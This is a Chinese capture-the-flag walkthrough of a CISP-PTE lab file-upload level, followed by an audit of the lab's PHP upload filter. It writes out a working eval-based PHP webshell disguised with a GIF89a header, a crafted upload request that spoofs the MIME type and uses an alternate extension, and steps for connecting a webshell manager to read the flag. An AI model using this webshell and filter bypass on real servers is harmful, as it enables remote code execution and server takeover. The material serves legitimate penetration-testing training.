目录
[(1)GIF89a - 文件头欺骗](#(1)GIF89a - 文件头欺骗)
[(1)step1 - 文件扩展名黑名单验证](#(1)step1 - 文件扩展名黑名单验证)
[(2)step2 - MIME类型验证](#(2)step2 - MIME类型验证)
[(3)step3 - 文件内容敏感词检测](#(3)step3 - 文件内容敏感词检测)
[(4)step4 - 文件头(魔术数字)验证](#(4)step4 - 文件头(魔术数字)验证)
本文演示了CISP-PTE靶场文件上传关卡的渗透测试过程。通过构建伪装成GIF的PHP木马(GIF89a文件头+PHP代码),绕过服务器四层防护:1)扩展名黑名单验证(使用.phml后缀);2)MIME类型验证(伪造为image/gif);3)文件头验证(添加GIF89a头);4)未生效的内容检测(检测脚本内容是否包括eval和assert函数)。最终成功上传webshell并获取flag。源码分析揭示了风险:黑名单仅检测小写php、可伪造MIME、未调用内容检测函数。验证了大小写绕过(.PHP)虽可上传但执行失败,说明需同时满足服务器识别条件。
一、渗透实战
1、打开靶场
打开靶场URL链接,页面如下所示,提示" 文件上传是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,"文件上传"本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。通过你所学到的知识,测试其过WAF滤规则,突破上传获取webshell,答案就在根目录下key.php文件中。 请开始答题!"

2、进入答题
点击进入答题,如下所示进入了文件上传的真实页面,具体如下所示。

3、构建脚本
新建一个存放着一句话木马的php文件,脚本名为mooyuan.php。这段GIF89a文件头后嵌入PHP代码的文本,是一个伪装成GIF图片的WebShell后门。它利用图片文件头"GIF89a"绕过安全检查,当服务器被配置为将.gif文件解析为PHP时(如通过.htaccess设置),该文件就会被执行。其中的eval($_POST['ljn'])函数允许攻击者通过POST请求执行任意PHP代码,从而完全控制服务器,构成严重的安全威胁。
GIF89a
<?php
echo "mooyuan";
@eval($_POST['ljn']);
?>
(1)GIF89a - 文件头欺骗
-
这是一个GIF图片的文件头标识,GIF(Graphics Interchange Format)文件常见版本有 GIF87a 和 GIF89a,它们的 16 进制文件头标识都是
47 49 46 38 39 61,对应 ASCII 字符就是GIF89a。右键16进制编辑,如下所示,关注这个脚本的文件头内容,其符合gif格式的文件头标识。 -
目的是让服务器将PHP文件误判为图片文件,绕过安全检查

(2)PHP代码部分
echo "mooyuan"; // 输出字符串作为伪装
@eval($_POST['ljn']); // 核心后门功能
-
eval()函数执行任意PHP代码 -
$_POST['ljn']接收来自POST请求的参数 -
@符号用于抑制错误显示
4、直接上传php后缀脚本
开启bp,同时浏览器代理指向bp,选择mooyuan.php文件并点击上传,如下所示。

观察页面变化,如下所示并未提示图片上传成功,服务器应该是有对php后缀的脚本进行过滤。

5、bp抓包
使用burpsuite进行抓包,将inception设置为on,具体如下所示。

再次上传mooyuan.php,此时报文被bp拦截,具体如下所示。

5、修改报文的MIME
将MIME字段改为image/gif,具体如下所示。

7、修改木马后缀
修改报文后缀,将mooyuan.php改为mooyuan.phtml。
Content-Disposition: form-data; name="files"; filename="mooyuan.phml"
Content-Type: image/gif
GIF89a
<?php
echo "mooyuan";
@eval ($_POST['ljn']);
?>

8、上传成功
点击inception off,页面提示"文件有效,上传成功: 点我查看",如下所示。

9、获取木马URL
点击"点我查看",获取到URL地址,如下所示。
http://5f9ed3ba.clsadp.com/vulnerabilities/mooyuan.phtml

10、Hackbar连接
对于上传成功的脚本使用浏览器连接,通关hackbar进行post参数渗透,如下所示渗透成功。
http://5f9ed3ba.clsadp.com/vulnerabilities/mooyuan.phtml
ljn=phpinfo();

11、连接蚁剑工具
http://5f9ed3ba.clsadp.com/vulnerabilities/mooyuan.phtml
密码:ljn

12、查找flag
连接蚁剑工具成功后,右键文件管理进入文件系统,具体如下所示。

进入到文件上传upload的目录/var/www/html/vulnerabilities/,如下所示mooyuan.phtml正是我们上传成功的木马文件。

查看mooyuan.phtml,正好是我们上传的脚本,如下所示。

进入网站的根目录/var/www/html/,发现key.php,如下所示。

打开key.php,如下所示找到了本关卡的flag,至此完成本关卡的渗透测试。

二、源码分析
1、index.php
既然我们已经拿到了本关卡的权限,我们查看一下源/var/www/html/start/vulnerabilities/fu1.php,具体如下所示。
http://5f9ed3ba.clsadp.com/vulnerabilities/fu1.php

完整的源码内容如下所示,这是一个具有安全风险的文件上传页面,代码的含义是通过调用judge()函数对上传文件进行安全验证。
<!DOCTYPE html>
<html>
<head>
<meta charset="gb2312">
<title>CISP-PTE 认证考试</title>
<link rel="stylesheet" href="../css/materialize.min.css">
</head>
<body>
<div class="container">
<?php error_reporting(0); ?>
<!-- Navbar goes here -->
<!-- Page Layout here -->
<div class="row">
<div class="col s3">
<?php
include("nav1.php");
include("function.php");
?>
</div>
<div class="col s9">
<h5>基础题目之文件上传突破</h5>
<b>描述</b>
<p>请开始答题</p>
<div class="card teal lighten-1">
<div class="card-content white-text">
<span class="card-title">文件上传</span>
<?php
$files = @$_FILES["files"];
if (judge($files))
{
$fullpath = $_REQUEST["path"] . $files["name"];
if (move_uploaded_file($files['tmp_name'], $fullpath)) {
echo "<a href='$fullpath'>图片上传成功</a>";
}
}
echo '<form method=POST enctype="multipart/form-data" action="">
<input type="file" name="files">
<input type=submit value="上传"></form>';
?>
</div>
<div class="card-action">
<?php if($fullpath!= '') { echo "文件有效,上传成功: <a href=\"$fullpath\"> 点我查看</a>"; } ?>
</div>
</div>
</div>
</div>
</div>
<p align="center"><?php include("footer.php"); ?> </p>
</body>
</html>
2、function.php
接下来我们查看一下源码/var/www/html/start/function.php,查看下judge函数到底是如何进行过滤的,如下所示。

完整的源码如下所示,共使用了黑名单检测、MIME检测、eval检查以及文件头检查四种方法,不过实际上并没有使用eval检查的方法。
<?php
//黑名单验证,大小写绕过
function step1($files)
{
$filename = $files["name"];
$ext = substr($filename,strripos($filename,'.') + 1);
if ($ext != "php")
{
return true;
}
return false;
}
//验证MIME头,修改数据包绕过
function step2($files)
{
if($files['type'] == "image/gif" || $files['type'] == "image/jpeg" || $files['type'] == "image/png" )
{
return true;
}
return false;
}
//验证文件内容,不能包含eval等敏感函数名,使用其他内容,文件读写
function step3($files)
{
$content = file_get_contents($files["tmp_name"]);
if (strpos($content, "eval") === false && strpos($content, "assert") === false )
{
return true;
}
return false;
}
//验证文件头
function step4($files)
{
$png_header = "89504e47";
$jpg_header = "ffd8FFE0";
$gif_header = "47494638";
$header = bin2hex(file_get_contents ( $files["tmp_name"] , 0 , NULL , 0 , 4 ));
if (strcasecmp($header,$png_header) == 0 || strcasecmp($header,$jpg_header) == 0 || strcasecmp($header,$gif_header) == 0)
{
return true;
}
return false;
}
function judge($files)
{
if (step1($files) && step2($files) && step3($files) && step4($files))
{
return true;
}
return false;
}
?>
3、代码审计
完整的经过注释后的代码如下所示,这是一个四层防护的文件上传安全验证系统,通过检查文件扩展名、MIME类型和文件头来阻止恶意文件上传,但由于关键的内容检测功能(是否包含eval、assert函数)未被调用且存在黑名单绕过风险,实际防护效果有限。
(1)step1 - 文件扩展名黑名单验证
-
方法 : 检查文件扩展名是否为
.php -
风险 : 仅检查小写php,可通过
.PHP、.Php等大小写绕过 -
防护强度: ⭐☆☆☆☆
(2)step2 - MIME类型验证
-
方法: 检查Content-Type是否为图片类型
-
风险: 可通过修改HTTP请求包伪造MIME类型绕过
-
防护强度: ⭐⭐☆☆☆
(3)step3 - 文件内容敏感词检测
-
方法 : 检测文件内容是否包含
eval、assert等危险函数 -
风险: 未在judge()函数中调用,实际未生效
-
防护强度: 未使用
(4)step4 - 文件头(魔术数字)验证
-
方法: 验证文件前4字节的魔术数字是否为图片格式
-
防护强度: ⭐⭐⭐⭐☆
-
这是最有效的防护层
<?php // 黑名单验证,大小写绕过 function step1($files) { $filename = $files["name"]; // 获取上传文件的原始文件名 $ext = substr($filename,strripos($filename,'.') + 1); // 从最后一个点开始截取文件扩展名 if ($ext != "php") // 检查扩展名是否为php(黑名单验证) { return true; // 不是php文件,通过验证 } return false; // 是php文件,验证失败 }// 验证MIME头,修改数据包绕过 function step2($files) { // 检查MIME类型是否为图片格式 if($files['type'] == "image/gif" || $files['type'] == "image/jpeg" || $files['type'] == "image/png") { return true; // MIME类型正确,通过验证 } return false; // MIME类型不正确,验证失败 } // 验证文件内容,不能包含eval等敏感函数名,使用其他内容,文件读写 function step3($files) { $content = file_get_contents($files["tmp_name"]); // 读取上传文件的完整内容 // 检查文件内容是否包含危险函数 if (strpos($content, "eval") === false && strpos($content, "assert") === false ) { return true; // 不包含危险函数,通过验证 } return false; // 包含危险函数,验证失败 } // 验证文件头(魔术数字) function step4($files) { // 定义图片文件的魔术数字(十六进制) $png_header = "89504e47"; // PNG文件头 $jpg_header = "ffd8FFE0"; // JPEG文件头 $gif_header = "47494638"; // GIF文件头 // 读取上传文件的前4个字节并转换为十六进制 $header = bin2hex(file_get_contents ( $files["tmp_name"] , 0 , NULL , 0 , 4 )); // 不区分大小写比较文件头 if (strcasecmp($header,$png_header) == 0 || strcasecmp($header,$jpg_header) == 0 || strcasecmp($header,$gif_header) == 0) { return true; // 文件头匹配,通过验证 } return false; // 文件头不匹配,验证失败 } // 主验证函数 function judge($files) { // 综合验证:文件扩展名 + MIME类型 + 文件头 if (step1($files) && step2($files) && step4($files)) { return true; // 所有验证通过 } return false; // 任一验证失败 }?>
4、绕过分析
接下来分析为何如下报文可以绕过服务器的文件上传检测,报文内容如下所示。
Content-Disposition: form-data; name="files"; filename="mooyuan.phml"
Content-Type: image/gif
GIF89a
<?php
echo "mooyuan";
@eval ($_POST['ljn']);
?>
我们通过修改扩展名、伪造MIME类型、添加合法文件头的组合方式,成功绕过了所有四层防护,最终将PHP木马伪造成GIF图片上传到服务器。
1. 扩展名检查:.phml ≠ .php → 通过
2. MIME检查:image/gif ∈ 允许类型 → 通过
3. 文件头检查:GIF89a = GIF文件头 → 通过
4. 内容检查:step3未调用 → 自动通过
5. 服务器保存文件并解析执行
(1)扩展名绕过
-
原始文件名 :
mooyuan.phml -
绕过原理 :利用黑名单只检查
.php的缺陷,使用非常规扩展名.phml,在某些服务器配置下可能仍被解析为PHP
(2)MIME类型伪造
-
Content-Type :
image/gif -
绕过原理 :step2函数只检查MIME类型,伪造为合法的
image/gif即可通过验证
(3)文件头欺骗
-
文件开头 :
GIF89a -
绕过原理 :step4函数检查前4字节的文件头,
GIF89a是合法的GIF文件头标识,通过魔术数字验证
(4)内容隐藏
-
攻击载荷:在合法的GIF文件头后插入PHP代码
-
绕过原理:step3内容检测函数在judge()中未被调用,因此eval等危险函数不会被检测到
三、大小写后缀绕过尝试
在源码分析中,我们得知后缀名可以使用大小写绕过,接下来我们实际验证下是否可以大小写绕过。
1、bp的inception设置为on
重新回到本关卡上传页面,bp的inception设置为on状态,如下所示。

2、上传文件并bp改包
再次上传mooyuan.php,此时报文被bp拦截,尝试大小写绕过,修改报文后缀,将mooyuan.php改为mooyuan.PHP,进行大小写绕过尝试
http://5f9ed3ba.clsadp.com/vulnerabilities/fu1.php
|---------------------------------------------------------------------------------------------------------------------------------------------------------|
| Content-Disposition: form-data; name="files"; filename="mooyuan.PHP" Content-Type: image/gif GIF89a <?php echo "mooyuan"; @eval ($_POST['ljn']); ?> |


3、上传成功并访问
如下所示,上传成功,可以进行大小写绕过进行上传。

4、访问脚本失败
点击"点我查看"后访问脚本,URL地址如下所示。
http://5f9ed3ba.clsadp.com/vulnerabilities/mooyuan.PHP
不过此方法在访问脚本时失败,当上传成功后访问脚本,提示图片不可显示。这说明即便上传成功,服务器并不识别此PHP后缀,将其当作图片处理,这说明并不一定是绕过服务器检测就一定能成功,还需要脚本可以被PHP服务器识别为php服务,否则会失败,具体如下所示。
